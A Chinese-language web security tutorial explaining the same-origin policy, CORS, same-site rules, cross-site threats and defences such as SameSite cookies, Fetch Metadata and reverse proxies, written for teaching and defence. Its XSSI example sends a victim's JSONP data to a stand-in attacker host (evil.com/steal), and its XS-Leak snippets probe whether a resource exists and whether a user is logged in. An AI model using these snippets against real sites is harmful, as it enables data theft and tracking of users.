Web 安全里有两个极容易混淆的概念:跨域 和跨站。它们听起来相似,边界却截然不同,对应的攻击手段和防御方案也完全不同。
本文从浏览器的同源策略(SOP,Same-Origin Policy)出发,系统梳理跨域的 CORS(Cross-Origin Resource Sharing,跨域资源共享)机制、跨站的安全威胁、以及现代浏览器的纵深防御体系。
一、一切的起点:同源策略
1.1 Origin 的精确定义
"源"(Origin)由三个要素严格组成:
Origin = Scheme(协议) + Host(主机) + Port(端口)
https://api.example.com:8443/v1/users?page=1
│ │ │ └─────── 不属于 Origin
│ │ └─────────── Port
│ └─────────────────────────── Host
└─────────────────────────────────── Scheme
三者必须完全一致才算同源,路径、Query、Fragment 均不参与判断。
以 https://www.example.com:443 为基准:
| 对比 URL | 结论 | 原因 |
|---|---|---|
https://www.example.com:443/api |
✅ 同源 | 路径不参与判断 |
http://www.example.com:443 |
❌ 跨域 | Scheme 不同 |
https://api.example.com:443 |
❌ 跨域 | Host 不同(子域名不同) |
https://www.example.com:8080 |
❌ 跨域 | Port 不同 |
https://example.com:443 |
❌ 跨域 | Host 不同(缺少 www) |
1.2 同源策略管的是"读",不是"发"
理解同源策略的关键是建立一个直觉:
┌─────────────────────────────────────┐
│ 渲染层(浏览器自己用) │ ← 显示图片、应用样式、执行脚本
├─────────────────────────────────────┤
│ JS 层(你的代码能碰的) │ ← 读数据、改 DOM、拿响应内容
└─────────────────────────────────────┘
同源策略管的是第二层,不是第一层。 浏览器可以"用"跨域的东西,但你的 JS 代码不能"读"跨域的东西。
1.3 各类资源的限制边界
| 行为 | 是否受限 | 限制位置 |
|---|---|---|
<img src> 加载图片 |
部分受限 | 可显示,Canvas 读取像素时抛异常 |
<script src> 加载脚本 |
部分受限 | 可执行,但脚本归属于当前页面源 |
<link href> 加载 CSS(层叠样式表) |
部分受限 | 可渲染,JS 读取 CSSOM(CSS 对象模型)规则时报错 |
<form> 表单提交 |
❌ 不受限 | 历史遗留,CSRF(Cross-Site Request Forgery,跨站请求伪造)的根源 |
XMLHttpRequest / fetch |
✅ 受限 | 响应被浏览器拦截,JS 看不到内容 |
Cookie / localStorage |
✅ 受限 | 浏览器底层隔离,无法绕过 |
DOM 访问 |
✅ 受限 | 跨域 iframe 的 contentDocument 返回 null |
<form> 是这个模型的历史漏洞------它的危害不在于"读",而在于"写"(副作用)。请求发出去本身就是目的,这正是 CSRF 能奏效的原因。
二、跨域与 CORS 机制
2.1 CORS 请求分类
CORS 将跨域请求分为两类,处理流程完全不同:
是
否
无 CORS 头
返回 CORS 响应头
匹配当前 Origin
不匹配或缺失
发起跨域请求
是否为简单请求?
直接发送请求
附带 Origin 头
先发送 OPTIONS 预检请求
服务器返回响应
服务器是否允许?
预检失败
浏览器阻断实际请求
预检通过
发送实际请求
响应含 Access-Control-Allow-Origin?
✅ JS 可读取响应
❌ 浏览器丢弃响应
2.2 简单请求
满足以下全部条件才是简单请求:
- Method 仅限:
GET、POST、HEAD Content-Type仅限:text/plain、multipart/form-data、application/x-www-form-urlencoded- 没有自定义请求头(如
Authorization、X-Token等)
服务器(api.com) 浏览器(app.com) 服务器(api.com) 浏览器(app.com) 检查 ACAO 头匹配 允许 JS 读取响应 GET /data Origin: https://app.com 200 OK Access-Control-Allow-Origin: https://app.com
关键理解 :简单请求会真实到达服务器并执行,CORS 只是决定浏览器是否将响应暴露给 JS。副作用(如数据库写入)已经发生。
2.3 预检请求(Preflight Request)
不满足简单请求条件时,浏览器会先自动发一个 OPTIONS 请求:
服务器(api.com) 浏览器(app.com) 服务器(api.com) 浏览器(app.com) 即将发送带有 Authorization 头的 POST 实际请求被阻断 alt [服务器拒绝] [服务器允许] OPTIONS /api/transfer Origin: https://app.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Authorization 403 Forbidden 204 No Content Access-Control-Allow-Origin: https://app.com Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: Authorization Access-Control-Max-Age: 7200 POST /api/transfer Origin: https://app.com Authorization: Bearer token 200 OK Access-Control-Allow-Origin: https://app.com
2.4 预检缓存:不是每次都发两次
Access-Control-Max-Age 控制预检结果的缓存时长,缓存命中时直接跳过预检:
第一次请求:OPTIONS 预检 + 实际请求(两次)
缓存期内:直接发实际请求(一次)
缓存失效后:重新预检
缓存按请求特征区分,以下变化会导致重新预检:
| 变化项 | 是否重新预检 |
|---|---|
| URL 路径变了 | ✅ 是 |
| 请求方法变了 | ✅ 是 |
| 请求头增减了 | ✅ 是 |
| 只是请求体内容变了 | ❌ 否 |
| 只是 Query 参数变了 | ❌ 否 |
浏览器对 Max-Age 有上限限制:
| 浏览器 | 最大缓存时长 |
|---|---|
| Chrome | 7200 秒(2 小时) |
| Firefox | 86400 秒(24 小时) |
| Safari | 600 秒(10 分钟) |
2.5 CORS 响应头全解
| 响应头 | 含义 |
|---|---|
Access-Control-Allow-Origin |
允许的来源,* 表示任意 |
Access-Control-Allow-Methods |
允许的 HTTP 方法 |
Access-Control-Allow-Headers |
允许的自定义请求头 |
Access-Control-Allow-Credentials |
是否允许携带 Cookie |
Access-Control-Expose-Headers |
允许 JS 读取的额外响应头 |
Access-Control-Max-Age |
预检结果的缓存时长(秒) |
⚠️
Access-Control-Allow-Origin: *与Access-Control-Allow-Credentials: true不能同时使用。携带 Cookie 时必须明确指定来源。
三、跨站:比跨域更宽松的边界
3.1 Site 的定义:eTLD+1
跨域精确到端口级别,跨站用的是更宽松的 eTLD+1(effective Top-Level Domain + 1,有效顶级域名加一级):
eTLD+1 = 公共后缀(eTLD) + 紧邻的上一级域名
| URL | eTLD | eTLD+1(Site) |
|---|---|---|
https://www.example.com |
.com |
example.com |
https://api.example.com |
.com |
example.com |
https://user.github.io |
.github.io |
user.github.io |
https://evil.github.io |
.github.io |
evil.github.io |
github.io 是公共后缀,每个用户的 GitHub Pages 站点相互独立,彼此跨站。
现代浏览器(Chrome 86+)还引入了 Schemeful Same-Site ,协议不同也算跨站:https://example.com 与 http://example.com 在新定义下是跨站。
3.2 跨域 vs 跨站:核心区别
同源(Same-Origin) ⊂ 同站(Same-Site)
┌─────────────────────────────────────────┐
│ Same-Site │
│ Scheme + eTLD+1 相同 │
│ │
│ ┌─────────────────────────────────┐ │
│ │ Same-Origin │ │
│ │ Scheme + Host + Port 全同 │ │
│ └─────────────────────────────────┘ │
│ │
│ https://www.example.com │
│ https://api.example.com ← 跨域但同站 │
└─────────────────────────────────────────┘
https://evil.com ← 跨站(同时也是跨域)
| 概念 | 判断依据 | 颗粒度 |
|---|---|---|
| 同源(Same-Origin) | Scheme + Host + Port 全部相同 | 最细 |
| 同站(Same-Site) | Scheme + eTLD+1 相同 | 较粗 |
实际意义 :https://www.example.com 向 https://api.example.com 发请求------这是跨域 (CORS 会介入),但同站(SameSite Cookie 不会拦截)。
四、跨站安全威胁全景
4.1 CSRF(Cross-Site Request Forgery,跨站请求伪造)
利用浏览器跨站自动携带 Cookie 的特性,伪造用户请求:
evil.com bank.com 受害者用户 evil.com bank.com 受害者用户 Cookie 合法,执行转账 登录 Set-Cookie: session=abc123 访问恶意页面 返回含自动提交表单的页面 POST /transfer(自动携带 Cookie) 转账成功(用户毫不知情)
4.2 Clickjacking(点击劫持)
用透明 iframe 覆盖目标页面,诱骗用户点击:
攻击者页面(evil.com)
┌──────────────────────────────────┐
│ "点击领取奖品!" [按钮] │ ← 用户看到的
│ │
│ ┌────────────────────────────┐ │
│ │ bank.com(透明 iframe) │ │ ← opacity: 0,用户看不到
│ │ [确认转账 ¥10000] │ │ ← 用户实际点击的位置
│ └────────────────────────────┘ │
└──────────────────────────────────┘
4.3 XS-Leaks(Cross-Site Leaks,跨站信息侧信道泄露)
不读取任何响应内容,只靠浏览器的"行为差异"推断跨站信息:
① 错误事件推断资源是否存在
javascript
const img = new Image();
img.src = 'https://company.com/secret-report.pdf';
img.onload = () => console.log('文件存在,此人有权限');
img.onerror = () => console.log('文件不存在或无权限');
② 响应时间推断登录状态
javascript
const start = performance.now();
fetch('https://target.com/api/profile', { mode: 'no-cors' }).then(() => {
const elapsed = performance.now() - start;
// 登录用户查数据库耗时 ~200ms,未登录直接重定向 ~20ms
// 时间差暴露了登录状态
});
4.4 XSSI(Cross-Site Script Inclusion,跨站脚本包含)
早期 JSONP(JSON with Padding)接口的数据可被 <script src> 直接执行窃取:
html
<!-- evil.com 的页面 -->
<script>
function callback(data) {
// 银行数据直接拿到了
fetch('https://evil.com/steal?d=' + JSON.stringify(data));
}
</script>
<script src="https://bank.com/api/userinfo?callback=callback"></script>
4.5 Referrer(引用来源)信息泄露
从含敏感参数的页面跳转到第三方时,URL 被自动携带:
用户从 https://app.com/reset?token=abc123 点击外链
→ 第三方请求头:Referer: https://app.com/reset?token=abc123
→ 密码重置 token 就此泄露
4.6 跨站威胁全景汇总
| 威胁类型 | 核心手段 | 是否需要读取响应 |
|---|---|---|
| CSRF | 伪造请求,利用 Cookie 自动携带 | ❌ |
| Clickjacking | 透明 iframe 覆盖 | ❌ |
| XS-Leaks | 行为差异侧信道 | ❌ |
| XSSI | <script> 执行 JSONP 数据 |
❌ |
| Referrer 泄露 | 跳转时携带完整 URL | ❌ |
| 第三方脚本污染 | 受信域引入恶意脚本 | ✅ 完全读取 |
五、防御方案
5.1 SameSite Cookie:浏览器层面防 CSRF
Strict
Lax 默认值
None
顶层导航 + GET
POST 子资源 fetch XHR
跨站请求到来
SameSite 策略?
❌ 任何跨站场景均不携带 Cookie
请求类型?
✅ 所有跨站场景均携带
必须同时设置 Secure
✅ 携带 Cookie
❌ 不携带 Cookie
| SameSite 值 | 跨站 POST | 顶层导航 GET | 防护强度 |
|---|---|---|---|
Strict |
❌ | ❌ | 最强,但影响体验 |
Lax(现代浏览器默认) |
❌ | ✅ | 适中,推荐 |
None |
✅ | ✅ | 无防护,需配合 Secure |
Chrome 80(2020 年)起,未设置 SameSite 的 Cookie 默认等同于 Lax,大幅提升了 Web 的安全基线。
5.2 Fetch Metadata(获取元数据):服务端主动防御
现代浏览器自动在请求中附加 Sec-Fetch-* 系列头,服务端可据此主动拒绝可疑请求:
四个请求头:
| 请求头 | 含义 | 典型值 |
|---|---|---|
Sec-Fetch-Site |
来源与目标的站点关系 | same-origin / same-site / cross-site / none |
Sec-Fetch-Mode |
请求发起方式 | navigate / cors / no-cors / same-origin |
Sec-Fetch-Dest |
目标资源类型 | document / image / script / empty |
Sec-Fetch-User |
是否用户主动触发 | ?1(是)/ 不存在(否) |
Sec-前缀的头是浏览器保留字段,JS 代码无法伪造,fetch和XMLHttpRequest设置它们会被静默忽略。
执行流程:
服务器(app.com) 浏览器 服务器(app.com) 浏览器 分析请求上下文 来源 evil.com → 目标 app.com/api cross-site + Dest:empty = 跨站 API 请求,非法 POST /api/transfer Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty 403 Forbidden
资源隔离策略(Resource Isolation Policy)实现(Node.js):
javascript
function resourceIsolationPolicy(req, res, next) {
const fetchSite = req.headers['sec-fetch-site'];
const fetchMode = req.headers['sec-fetch-mode'];
const fetchDest = req.headers['sec-fetch-dest'];
// 老浏览器无此头,放行(可单独加其他防御)
if (!fetchSite) return next();
// 同源、同站、直接访问:放行
if (['same-origin', 'same-site', 'none'].includes(fetchSite)) return next();
// 跨站只允许顶层页面导航(用户点链接跳过来)
if (fetchMode === 'navigate' && fetchDest === 'document') return next();
// 其余跨站请求全部拒绝
return res.status(403).json({ error: 'cross-site request rejected' });
}
app.use('/api', resourceIsolationPolicy);
5.3 反向代理:从根本上消灭跨域
反向代理的本质是让浏览器始终认为自己在和同源服务器通信:
无反向代理:
浏览器(app.com)──► api.com ← 浏览器检测到跨域,触发 CORS
有反向代理:
浏览器(app.com)──► app.com/api ──► api.com(Nginx 转发)
↑
浏览器只看到同源请求,CORS 从未触发
Nginx(高性能 Web 服务器)核心配置:
nginx
server {
listen 443 ssl;
server_name app.com;
# 前端静态资源
location / {
root /usr/share/nginx/html;
try_files $uri $uri/ /index.html;
}
# API 请求转发给后端
location /api/ {
proxy_pass http://api.com/; # 末尾斜杠:去除 /api 前缀
proxy_set_header Host api.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_connect_timeout 10s;
proxy_read_timeout 60s;
}
}
路径映射关系:
浏览器请求:app.com/api/users
Nginx 转发:api.com/users ← /api 前缀被去除
开发环境 Vite 等效配置:
javascript
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'http://localhost:8080',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, '')
}
}
}
}
5.4 其他防御手段
| 威胁 | 防御方案 | 关键配置 |
|---|---|---|
| Clickjacking | 禁止被 iframe 嵌入 | X-Frame-Options: DENY 或 CSP(Content Security Policy,内容安全策略): frame-ancestors 'none' |
| Referrer 泄露 | 限制 Referrer 内容 | Referrer-Policy: strict-origin-when-cross-origin |
| XSSI | 弃用 JSONP,响应体加前缀 | 响应首行加 )]}'\n |
| 第三方脚本污染 | 限制脚本来源 + 完整性校验 | CSP script-src + SRI(Subresource Integrity,子资源完整性) |
| XS-Leaks | 跨源隔离策略 | COOP(Cross-Origin Opener Policy,跨源打开者策略) + CORP(Cross-Origin Resource Policy,跨源资源策略) |
六、方案选型与纵深防御
6.1 跨域解决方案选型
| 场景 | 推荐方案 | 原因 |
|---|---|---|
| 前后端同属自己的服务 | 反向代理 | 干净彻底,无需改业务代码 |
| 对外提供开放 API | CORS | 第三方无法在你这加代理 |
| 开发环境本地调试 | Vite/webpack proxy | 本地版反向代理,配几行搞定 |
| 需要携带 Cookie 跨域 | CORS(配置 credentials) | 代理解决跨域,但 Cookie Domain 隔离是另一回事 |
一句话选型原则:能控制请求路径的用代理,控制不了的用 CORS。
6.2 纵深防御分层模型
┌───────────────────────────────────────────────────────┐
│ 第一层:浏览器默认行为 │
│ SameSite=Lax(Chrome 80+ 默认) │
│ → 拦截绝大多数跨站 Cookie 携带场景 │
├───────────────────────────────────────────────────────┤
│ 第二层:服务端主动防御 │
│ Fetch Metadata 资源隔离策略 │
│ → 不依赖 Token,直接拒绝可疑跨站请求 │
├───────────────────────────────────────────────────────┤
│ 第三层:业务层兜底 │
│ CSRF Token(跨站请求伪造令牌) │
│ → 覆盖老浏览器和复杂场景,针对关键写操作单独加 │
├───────────────────────────────────────────────────────┤
│ 第四层:传输与资源隔离 │
│ CSP + SRI + X-Frame-Options + Referrer-Policy │
│ → 防 Clickjacking、脚本污染、信息泄露 │
└───────────────────────────────────────────────────────┘
三种核心防御方案的横向对比:
| 维度 | Fetch Metadata | SameSite Cookie | CSRF Token |
|---|---|---|---|
| 防御位置 | 服务端主动判断 | 浏览器控制 Cookie 携带 | 服务端校验 Token |
| 实现成本 | 低,一个中间件 | 低,设置 Cookie 属性 | 中,前后端均需改动 |
| 能否防 CSRF | ✅ | ✅ | ✅ |
| 能否防 XS-Leaks | ✅ 部分场景 | ❌ | ❌ |
| 能否被 JS 伪造 | ❌ 浏览器保留头 | --- | ⚠️ XSS 后可被窃取 |
| 老浏览器兼容性 | 需额外兜底 | 降级为无保护 | 完全兼容 |
七、总结
同源策略(SOP)
↓ 管的是"读",不是"发"
↓ 渲染层放行,JS 层严格隔离
跨域(Cross-Origin)= Scheme + Host + Port 任一不同
↓ 浏览器自动附加 Origin 头
↓ 服务端通过 CORS 头声明权限
↓ 预检缓存(Max-Age)减少性能损耗
↓ 反向代理从根本上消灭跨域
跨站(Cross-Site)= Scheme 或 eTLD+1 不同(粒度更粗)
↓ 跨域不一定跨站(api.example.com vs www.example.com)
↓ 跨站一定跨域
跨站威胁
↓ CSRF:利用 Cookie 自动携带
↓ Clickjacking:透明 iframe 覆盖
↓ XS-Leaks:行为差异侧信道
↓ XSSI:JSONP 数据直接执行
纵深防御
↓ SameSite Cookie → 浏览器层拦截
↓ Fetch Metadata → 服务端层拦截
↓ CSRF Token → 业务层兜底
↓ CSP + SRI + X-Frame-Options → 传输层兜底
核心记忆口诀:
- 跨域看三件事:Scheme、Host、Port,全同才同源
- 跨站看两件事:Scheme、eTLD+1,宽松很多
- CORS 是跨域的通行证,由服务端颁发,浏览器执行
- SameSite 是跨站的门卫,由 Cookie 属性控制,浏览器执行
- Fetch Metadata 是服务端的侦察兵,浏览器提供情报,服务端决策
- 防御不靠单点,靠分层------每一层都可能被绕过,但绕过所有层的代价极高